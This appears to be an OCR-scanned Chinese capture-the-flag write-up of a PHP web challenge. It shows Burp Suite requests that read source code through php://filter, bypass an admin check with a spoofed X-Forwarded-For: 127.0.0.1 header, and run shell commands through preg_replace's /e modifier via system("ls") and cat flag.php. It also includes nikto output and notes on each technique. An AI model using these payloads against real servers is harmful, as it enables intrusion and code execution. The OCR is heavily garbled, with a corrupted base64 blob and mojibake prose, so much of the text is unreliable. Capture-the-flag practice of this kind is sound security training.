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html> —
> <head>..</head> Filte thov .cls +,
¥ <body style> == $6 element.style {
v<ul class-"layui-nav"> }
v<li class="lavui-navoiten lavui-thi body {
a href-"2page=index" > E T BB HIFF L </a> line-height: 24px;
TeTeT font: b 14px Helvetica Neue,Helvetica,PingFang
/1i SC, \SFAE\BF6F\96C5\9ED1, Tahoma, Arial, sans-serif;
span class="layui-nav-bar” style="width: @px; left: 20px; opacity: @; top: 55px;”>¢/span }
Jul blockquote, body, button, dd, div, dl, dt, form, hl, h2, h3,
> <fieldset class-"layui-elem-field layui-field-title” style-"margin-top: 3@px; >.</fieldset> hd, hS, h6, input, 1i, ol, p, pre, td, textarea, th, ul {
table class="layui-hide” id="test">c/table margin: » @;
»idiv class—layui-form layui-border-box layui-table-view” lay-filter— LAY-table-1" style-" “s.</div padding:» @;
» <script type="text/html” id="switchTpl">.</script> - -webkit-tap-highlight-color: Firgba(e,e,0,0);
html  body body { user agent stylesheet v
i Console x
[ ® top Y| © | Filter Default levels ¥ ]
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FRIIER AR 21 T e A7 £ A A SO 5 13 B R TR AR RS (i, T2 #idipayload:

® FZE | 220.249.52.1 34:40840/index.phd?page: php://filter/read=convert.base64-encode/resource=index.php
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53 var element = layui.element: //GHiffhoverd . 4% fie, i 2k dfielement It -
54 /T S L

55 element. on (' nav(demo)’, function(elem) {

56 //console. log (elem)

57 layer. msg(elem. text () :

58 b

59 D

60 </seript>

61

62 <br /><br /><br /><br />

63 <div style="text—align:center”>

64 p class="lead”

PDIwaHAKZXJyb3JfemVwh3J0aWonKDApOwoKQHNLe3Nph25 ¢ 3RhenQoKTsKeGIzaXhfc 2V0dW1KKDEWMDApOwoKC j8+C jwhREIDVF 1QRSBIVE1MPgo8aHRthD4KC jxoZWFkPgogICAgPGL1dGEgY2hhenN1dDOidXRmLTgiPgogICAgPGL]
dGEgbmFtZT01cmVuZGVyZXIiIGNvbnR1bnQ9Ind1YmtpdCI+CiAgICASLWVOYSBodHRWLWVxdW12PS JYLVVBLUNvbXBhdG1ibGUiIGNvbnR1bnQ9 Ik 1FPWVkZ2UsY2hyb211PTEiPgogICAgPGl1dGEghmFtZT0idml1d3BvenQiIGNvbnR1
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eXVpLXRoaXMiP jxhIGhyZWYIT jOwYWd1PW1uZGV4I j7kupHlubPl j7TDorr71pIfnu?TmiqTkuk31v4M8L2E+PCIsaT4KICAg IDwvdWw+CiAgICAS8Zm]l 1bGRzZXQgY 2xhc3M9 ImxheXVpLWVsZW0t Zml 1bGQgbGF5dWkt Zm1 1bGQtdG1ObGUL
THNOeWx1PSJtYXnaW4tdGIw0iAzMHB40yI+CiAgICAgICAgPGx1Z2VuZDTorr71pIfli Jfooag8L2x1Z2VuZD4KICAg IDwvZml I1bGRzZXQ+CiAgICASdGFibGUgY 2xhe3M9 ImxheXVpLWhpZGU1i IGI KPS JOZXNOT j48L3RhYmx1PgogICAg
PHN jemlwdCBOeXB1PSJ0ZXhOL2hObWwiIG1kPSJzd210Y2hUcGwiPgogICAgICAgIDWhLS0gBL+Z6YeMaoqEIGNoZWNrZWQg55qES4q250CBaY+qopiviryUs6S6I1C0tPgogICAgICAgIDxphnBl1dCB0eXBIPS] jaGV ja2JveCIghmFtZT01
c2V4ATiB2YWx1ZT01e3tklmlkfX01IGxheS12a21uPSTzd210Y2g1I1GxheS10ZXh0PSLIvIB8OYW2zIiBsYXktZmlsdGVyPST jaGV jaOR1bWE 1 IHt 7 IGQuaWQIPTEGMDAWMYA/ ICd jaGV ja2Vk JyAGICcnIH19PgogICAgPCIzY3 TpeHQ+CiAg
ICA8c2NyaXBOIHNyYz01ibGF5dWkvhGF5dWkuanMi IGNoYX JzZXQ9InV0Z1041 j48L3N jemlwdD4KICAgIDxzY3 JpcHQ+CiAgICBsYX11aS51c2Uo0 J3RhYmxl JywgZnVuY3Rpb240KSB7CiAgICAg ICAgdmFy IHRhYmx1ID0ghGF5dWkudGFi
bGUsCiAgICAgICAgICAgIGZven0gPSBsYX11aS5mb3 ] t0woK ICAg [CAgICBOYH JsZS5yZN5kZXToewog ICAgICAgICAg [CBLbGV t01AnI3R1c3QnLA0gI CAgICAgICAg ICB1 cmwbICcve 29t cnRoall5nLmpzb24nLAog ICAg ICAgTCAZICB
ZWxsTWIuV21kdGg6IDgwLAogICAgICAgICAgICB jb2xz0iBhCiAgICAg [CAgICAZICAICBbCiAgICAgICA2ICAgICAg [CAgICAZeyBOXB10iAnbnVtYnVycycgf SWKICAICAgICAgICAgICAg ICAgICAge yB0eXB10iANY2h1 Y2t ib3gn
THOsCiAgICAgICAgICAgICAgICAzICAgIHsgZml 1bGA6ICApZCesIHRpdGx 101 AnSUQNLCB3aWR0aDogMTAWLCB1bnJ1c216ZTogdHT1ZSwgec29yvdDogdHT1ZSBILA0g ICAgICAgICAgICAgICAgICAgICBTIGZpZWxk01AnbmFtZScsIHRp
dGx101An6K6+5aSHIZCN JywgdGVteGxldDog JyNuYW11VHBs JyB9LAogICAgICAgICAgICAgICAgICAgICBTIGZpZWxk0iAnYXJ1YSesIHRpdGx101An5Yy65Z+f JyBILA0gICAgICAgICAgICAgICAgICAgICBTIGZpZWxk0iAne3RhdHVz
JywgdGLObGUBICInuTTmiqTnirbmgIEnLCBtaloXaWR0aDogMTIwLCBzh3J00iB0cnV1IHOsCiAgICAgICAgICAgICAgICAgICAgIHsgZml 1hGQBICd jaGV jayecsIHRpdGx10iAnBK6+0aSHobyADYWz JTywed21kdGg6IDg ILCBOZWIwh GV
01AnI3N3aXRjaFRwhCcsIHVucmVzaXpl0iB0cnVIIHOKICAgICAgICAgICAgICAgIFOKICAgICAgICAgICAg SWKICAgICAgICAgICAgcGFnZTogdH]1ZQogICAgI CAgIHOpOwogICAgf SkTC1iAg ICASLIN jemlwdD4KICAgIDxzY3 JpcHQ+
CiAgICBsYX11aS51¢2U0J2VsZW11bnQnLCBndW5 jdGlvbi gpIHsKICAg ICAgICB2YXIgZWx 1 bWVudCAIIGxheXVpLmVsZW1 1bnQTIC8v5a+8611q55qEaG92ZXLml Y jmnpz jglHkuoznuqfo 1521 jZXnr¥nlip/og73vvIzpnIDopoHkvp3o
+ZZ1bGVtZW505qih522XC01AgICAg ICAgLy/ nu5H1kKz 117201 Krngrnlh7sKICAgICAg ICB1bGV+ ZW50LmIukCduyXYoZGtbyknLCBmdWS jdG1vbih 1bGVtKSBTCiAg ICAg [CAZICAgIC8vY29uc29s7S55h2c0Zlx] bSKKICAgICAZICAg
ICAghGF5ZX TubXNnKGV s ZW0udGV4dCepKTsKICAg [CAg ICBIKTSKICAg THOpOwog ICAgPCIz Y3 JpcHQ+Cgo8P3Boc Aok JHBhZ2U gPSAKXOdFVFtwYWd L XT sKCm 1mI Chpe3N1dCgke GPnZSkp THsKCgoKall Y gKGNOe XB1 X2F shnVtKCRwYWd1
KSkgewo/PgoKICAgIDxiciAvP jxiciAvP ixiciAvPjxiciAvPgogICAgPGRpdiBzdH]1sZT01dGV4dC1hbGlnb jpjZW50ZX1iPgogl CAgICAgIDxwIGNsYXNZPS JsZWFKI j48P3BocCB1Y 2hv ICRWYWd10yBkaWUoKTs/ P jwveD4KICAgIDxi
ciAVPjxiciAvPixiciAvPjxiciAvPgoKPD9waHAKCn11bHN]ewoKPz4KICAgICAgICA8YnIgLz48YnIgLlz48YnIglz48YnIglz4KICAgICAgICASZGI 2IHNOeWx1PSJOZXhOLWFsaWduOmN1bnR1ciI+CiAgICAgICAgICAgIDXWIGNSYXNz
PSJSZWFLI j4KICAgICAgICAgICAgICAgIDw/ cChwCgogICAgICAgICAgICAgICAgaWYgKHNOcnByeygkeGFnZSwgJ21ucHVO JykePiAwKSBTCiAgICAgICAgICAgICAgICAgICAgZGL1KCkT7CiAgICAgICAZICAgICAgICBICg0gICAgICAS
ICAgICAgICAgaWYgKHNOcnBveygkeGFnZSwg J3RhOnR 1eHQnKSA+IDAp [HsKICAgICAgICAgICAg ICAgICAgICBkaWUOKTsKICAgICAgICAgICAg ICAgTHOKCi AgICAg ICAgICARICAgICBpZ i Aoc3RycGIzKCRwYWd1LCANdGV4dCepIDag
MCkgewogICAgICAgICAgICAgICAZICAgIGRpZSgpOwog ICAgICAgICAgICARICAZfQoKICAgICAg ICAgICAgICAgIGImICgkeGENZSAIPT0g J2 1uZGV4LnBocCepIHsKICAgICAgICAgICAg ICAg ICAGICBkaNUoJ09r Jyk7Ci AgICAgICAg
ICAgICAgICBICi AgICAgICAgICAZICAgICAgICAgaWS jbHVEZSgkcGEnZSk7CiAgICAgICAZICAg ICAgICAgICAgZGl IKCKTCiAgICAgICAgICAg ICAgICA/PgogICAg ICAg IDwveD4KICAg ICAg ICASYnIgLz48YnlgLz48YnIgLz48Ynlg
Lz4KC jw/cGhwCn19CgoKLy/mlrnkvr/nmoTlrpTn jrDovpPlhaXovpPlhTrnmoTlip/0g7055a2 j5ZvobbyASY+REL1t55qESYqfBI097TyM5Y+q61095YaF6Y00sLa65ZGY 5rWL6K+VCeppZiAo JFITRV JWRV Jb JOhUVFBEWFIGT 1 JXQVJE
RURERk9SJ10gPTO9ICCxMjcuMC4wL JEnKSB7CgogICAgZWNobyAIPGTyID5XZWx jb211TIE15IEFkbWIuICEEPGJyID410woKICAgICRWYXROZXTuID0g JFOHRVRbcGFOXTSKICAgICRYZXBs YWN1 bWVudCA9ICRTROVUW3J1eFOTCiAgICAk
c3ViamV jdCA9ICRfROVUW3N1Y107CgogICAgalYgKGlze2VOKCRWYXROZXJuKSAmT iBpe 3N1dCgkemVwhGF jZW11bnQpICYmIGlze 2VOKCRzdWIqZWNOKSkgewogI CAg ICAg IHByZWdf cmVwhGF jZSgkeGFOdGVyhiwg JHT LeGxhY2VtZW50
LCAke3ViamV jdCk7CiAgICBIZWxzZXsKICAgICAg ICBkaWUoKTsKICAg THOKCHOKCgoKCgo/PgoKPCI1b2R5PgoKPC90dGl sPgo=

o A PbaseBARID, B AT EIPHP YR
if ($_SERVER[

echo

$pattern = $_GET[pat];

$replacement = $_GET[rep];
$subject = $_GET[sub];

if (isset($pattern) isset($replacement) isset($subject)) {

preg replace($pattern, $replacement, $subject);
}else{
die();
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E
Send Cancel <|v >|r Target: http://220.249.52.134:40840 7 @
M Request Response
Raw | Param Header e | Raw | Headers | Hex | Render
1 GET findex. ;tn?pat Jfabc/ekrep=systemn( "1s" | &sub=defg%20abc HI'I'P,fl 1 & 56 . . . . &
2 Host: 220. - field: '‘check', title: "i#&f %", width: 85, templet: '#switchTpl', unresize: true -
2 User-Agent: Mazﬂla/s 0 (¥11; Linux x86_64: rv:68,0) Gecko/20100101 T
Firefox/68.0 57 ]
4 Accept: text/html,application/xhtml+xml,application/xml;qg=0.9,#%/%;0=0.8 58 1.
S Accept-Language: en-US,en;g=0.5 £l page: true
& Accept-Encoding: gzip, deflate 50
7 Connection: close Vi
& Cookie: PHPSESSID=gs8bo4nd2fpabg4lbonidghse7 Bl }
=] UpgradE Insecure-Requests: 1 )i
62 <fscript=
X-Forwarded-For: 127.0.0.1 53 =script>
5 54 layui.usel'element’, function{) {
13 65 var element =Layui.element;
SIS REhoveriiR, TIRMFMFIEE , WEKMelenent ik
66 BN S MR
67 element.onl '‘navidemo] ', functionielem) {
68 Jf/console.loglelem)
69 layer msgielem.text());
70 }
i
71 T
I
=fscript=
<br =
Welcome My Admin | <brj= L
€ss
75 index. html
76 index.php
77 is
78 layui
78 logo.png
80 s3chahahabir
81 start.sh
82 HE png
&84 <=/body=
B85
86 </html= L}
- 57 v
| X EAN Ve
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Send Cancel < >\ Target: http://220.249.52.134:40840 ®
Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
i GET /index.php?pat=/abc/e&rep=system| ":d%?ﬂsﬁchahahaDlr9.26‘3u26‘3u2015|'J&+b= : N field: "name’, title: "RE®', templet: "#naneTpl’ .A
= - .
2 Host: 220.249.52.134: 40840 e {
3 User-Agent: Mozilla/S.@ (X11: Linux x86_64; rv:68.0) Gecke/20180161 field: ‘area’, title: "[Xid:
Firefox/68.0
4 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%:q=0.8 55
5 Accept-Language: en-US, en;g=0.5 field: 'status', title: "“SEPAS", minwidth: 120, sort: true
& Accept-Encoding: gzip, deflate +
7 Connection: close 56 {
8 Cookie: PHPSESSID=qsBbS4nd2fpabgalbonidghde? field: 'check', title: "@&M %", width: 85, templet: '#switchTpl', unresize: true
2 Upgrade-Insecure-Requests: 1
10 Cache-Control: max-age=0 57 |
11 X-Forwarded-For: 127.0.0.1 s8 1.
12 59 page: true
5 &8 3
)i
61 T
)i
62 </script=>
63 =script=
54 layui.usel'element ', function() {
65 var element = Layui.element:
JSMEhoveri®, TIMFENFE  BERNel enent ik
66 SIS IS
67 element.on( 'navidemc) ', function(elem) {
68 Jfconsole.loglelen)
69 layer.msglelem.text()); N
70 T
)i
71 T
|H
72 =/script>




7 =<br =
Welcome My Admin | <br =

flag
7;5 <fbody>
78 </html=>
78 A
v <5 J V>
@{a} |« |[=>]| |search. Omatches | \n | | Prety @@ (e || |search... 0matches | \n | |’ Pretty 1

RIR, B [ flagiffk, REikAflag
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[ Dashboard ITarget I Pro:

1 = | ...
send cancel | | <Iv || >+ Target: http:/220.249.52.134:40840 7 (3)

/ I\ntruder IRepeater T Seguencer TDe(ader Icamparer IEx‘tender IProJe(t options TUser options ]

Request Response
Raw | Params | Headers | Hex Raw | Headers | Hex | Render
GET /index.php?pat=/abc/e&rep=system("cd%20s3chahahalir/flag%26%26%201s") | A field: "nane’, title: "&E® ', templet: "#nameTpl’ A
Esub=defg%26abe HTTP/1.1 ™ Iy r
54 i
3 User-Agent: Mozilla/5.0 (X¥11; Linux x86_84; rv:68,0) Gecko/20180101 field: ‘area’, title: "Ei
Firefox/68.0 iy
4 Accept: text/html,application/xhtml+xml, application/xml;q=0.9,%/%;q=0.8 55 1
5 Accept-Language: en-US, en:q=0.5 field: 'status', title: '#Epdfa", minwidth: 120, sort: true
& Accept-Encoding: gzip, deflate *
7 Connection: close 56 {
= Cookie: PHPSESSID=qs8h94md2fpabg4lbonidghge7 field: 'check', title: "i#&#F%", width: 85, templet: '#switchTpl', unresize: true
S Upgrade-Insecure-Requests: 1 1
10 Cache-Control: max-age=0 57 1
11 X-Forwarded-For: 127.0.0.1 58 1.
12 59 page: true
13 0 ¥
|
61 s
)i
62 =/script=
63 =script=
64 layui.usel'element ', function() {
65 var element =layui.element;
/7S hoverfiR, TIRMANFINE  WEHel enent ik
66 /PSR SE
67 element . oni ‘navidemo) ', functionielem] {
6B ficonsole.loglelem)
69 layer.msgielem.text()): il
70
)i
71 ¥
)i
cipt
74 <br =
wWelcome My Admin ! <br =
flag. php
75
76 =7Body=
77
78 </html> v
- 79 v
v - ——
Néos [el[=] [sear omatches | wn | | Frett f omatches | wn | [ pretw 1

E3| T flag.php, 4XJ5cat flag.phpil G515 S flagh !

Burp Suite Community Edition v2020.6 - Temporary
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[ Dashboard TTarqet T P

ma

Tlntruder T Repeater T Seqguencer I Decoder T Comparer TExtender T Project options T User options ]

| send | | cancel | [ <ix || > Target: http:/220.249.52.134:40840 7 (3)
Request Response
jm Headers | Hex | Render
1|GET /index.php?pat=/abc/e&rep= i T. [}
systen( "cd%20s3chahahabir, flag%26%26% 201 %205 7c% 20cat%20flag. php" ) &dub= [ 55 { -
defgs20abc HTTP/1.1 field: 'status', title: "#EfEfEE ", ninwWidth: 120, sort: true
2IHosti 220,249,52.134; 40540 T
5 User-Agent: Mozilla/5.0 (¥11; Linux xB6_64; rv:68.0) Gecko/20100101 56 i
Firefox/68.0 - field: 'check', title: "i@&# %", width: 85, templet: '#switchTpl', unresize: true
4 Accept: text/html,application/xhtml+xml,application/xml;qg=0.9, /%, q=0.8 ¥
S Accept-Language: en-US,en;g=0.5 57 1
5 Accept-Encoding: gzip, deflate 58 1.
7 Connection: close 59 page: true
5 Cookie: PHPSESSID=qsBb94nd2fpabg4lbonidgh9e? 60
9 Upgrade-Insecure-Requests: 1 i
10 Cache-Control: max-age=0 61 ¥
11 X-Forwarded-For: 127,0.0.1 (R
1z 62 =fscript=
3 &3 =script=
64 layui.usel 'element ', function() {
B85 var element = layui.element;
JSMEhoverti R, TIMRNFNEE  BERHlenent il
66 /RS i
57 element .on( 'navidemo) ', function{elen) {
68 ffconsole. log(elen)
69 layer.msglelem.text(]);
70 T
)i
71 T
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Done
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e ?7page=

o AR RIS ? nikto
o ML E IR

e php:/filter

o base64%i il fifhs

e X-Forwarded-For

e preg_replace()H/eiiF
o system()pR %5

nikto

72
73
74

75
76
77
78
79
80
81
82
a3

=/script>

=hr =
Welcome My Admin | <br =

P

$flag= 'cyberpeace{ff8ae5539ff40dcf898a55dc323a321bT "

7

=/body=

=/html=

d
v

¥

[«
@@ |S‘earch

-
0 matches

2,751 bytes | 49 millis



niktost —MWeb ik 55 2 44, 3& A AL (8] A Web ik 5525 2047 B AR, JFA BRI, (E2 AR BSOS, BB R
FAHER AT R BRI S5 A% H & 1 R b ks o

nikto -url http

(Ubuntu)
ThouT the hTTpon1v flag

—UpTan: r is not p nt.
is not defined. This header n hint to the er agent t rotect inst some forms o

is not set. This could allow th g ent to render the content of the site in

(use all' to force check all possib
rs to bﬁ outdated (cui is at least Apac 4.37) ache L34 i e EOL for the bran

found. (NOTE: requ IP address).
t file found.
rt file found.

] (NOTE: requ
Potentially g Fi found.
Potentiall i rchiwve rt file found. (NOTE: requeste y IP address
i i i rt file found.
t file found. ( ! requested by IP address).
found.
ile found. (NOTE:

o N N I . K S K S S S S S S R S S

BRI T, UK REROEIHELE B, X MBI IR T, R T SO A
CNARE LSS, BEEFTAER)

t file found. (NOTE: requested by IP addre
nd.
ound. (NOTE: requested by IP address).
t file found.
found. (NOTE: requested by IP address).
und .
(NOTE: requested by IP address).

e found. (NOTE: requested by IP addre:

: requested by IP addre
und .
t file found. (NOTE: requested by IP addr:
und.
und. (NOTE: requested by IP address).

. (NOTE: requested by IP address).
. (NOTE: requested by IP address).

t file found.
found. (NOTE: requested by IP address).

php:/[filter

php:/filter & —FPndt2Ea%, Wit A FEIRRITIFR iFiE it R . X3 T (alkinone) FISCHRECEET A, 2
readfile(). file() #l file_get_contents(), #£Z#E I M 2 I HT A L2 B A HoAth o 48

B AU, BT AR AW H Bl 1Tbase644miy, 1T LliaH Z At iEas CHRF AR A5 ImE) , &% H T IRBsc s8R
i,

php://filter/read=convert.base6

Xof LY RIR 238 S B SR A PHP O B, (EZ XM B H 2, RIRNIZIES, He®115. k]

preg_replace()



PHP preg_replace() K%]

l,PHP TEMISEA T (PCRE)
preg_replace BREFAIT—MENFAT B EFIEIE,

iBix
mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &Scount 1] )
185 subject FRILED pattern BYSE5, 1A replacement i3 {713,
ZHOHA:
$pattern: EIEERIES,, TLUARFHFER—MFHEHE,
Sreplacement: BT SIS FHEdi=FE44E,
$subject: EIEFEEN EMFHRRFTHEEE.
$limit: BT, HFEMELBTFE subject FHBENEATERRI, FAE1 (KREH) .

Scount: AlisE, AEHEHITOUREL

ORI

preg replace($pattern, $replacement, $subject)

$pattern:
$replacement: i
$subject: R 5 1) E AR 45 AR B A R 4

A i R patternth A e, I H.patternfllsubject(f) N 28—, 4> H 4T repalcement 4 fi5 .

base64%x 13



File Edit Selection View Go Run Terminal base64.py - Visual Studio Code

basebd.py X [ L] r ]

b

t pybase64

copyright="

decodestr = pybase64.béAdecode(copyright)
print(“bas : ",decodestr.decode())

TERMINAL

g : ) et A EE ol
if ($_SERVER['HTTP X FORWARDED FOR'] === '127.8.8.1') {
echo "<br >Welcome My Admin ! <br >";
$pattern = $_GET[pat];
$replacement = $ GET[rep];
$subject = $_GET[sub];

if (isset($pattern) && isset($replacement) && isset($subject)) {
preg_replace($pattern, $replacement, $subject);

telse{
die();
¥
Python 3.8.1 64-bit. @0 A0 Ln6, Col 15  Spaces: APfiRl@0-cemilelpyfign 432
N T R RS S I PHPUEARHS .
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